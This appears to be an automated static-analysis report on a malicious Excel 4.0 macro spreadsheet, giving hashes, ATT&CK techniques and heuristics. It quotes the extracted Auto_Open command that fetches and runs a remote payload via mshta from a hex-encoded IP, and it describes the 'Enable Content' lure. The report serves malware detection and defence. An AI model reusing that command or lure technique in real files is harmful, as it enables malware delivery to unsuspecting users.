Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 b2c9ff36b8be61cf…

MALICIOUS

Office (OLE) / .XLS

64.8 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 2e6f8e336512010032659413c77d7306 SHA-1: c25c100146d6a218d94daf6795e6651c71b7a856 SHA-256: b2c9ff36b8be61cfee486399d7b14d1b5441be2f2ac418eb0862426a0b07541a
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open macro. The document body contains a lure instructing the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common social engineering tactic. The extracted XLM macro defines a string 'cmd /c mshhta http://0xc12a24f5/c.html' and assigns it to the name 'lll'. This command is likely executed to download and run a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes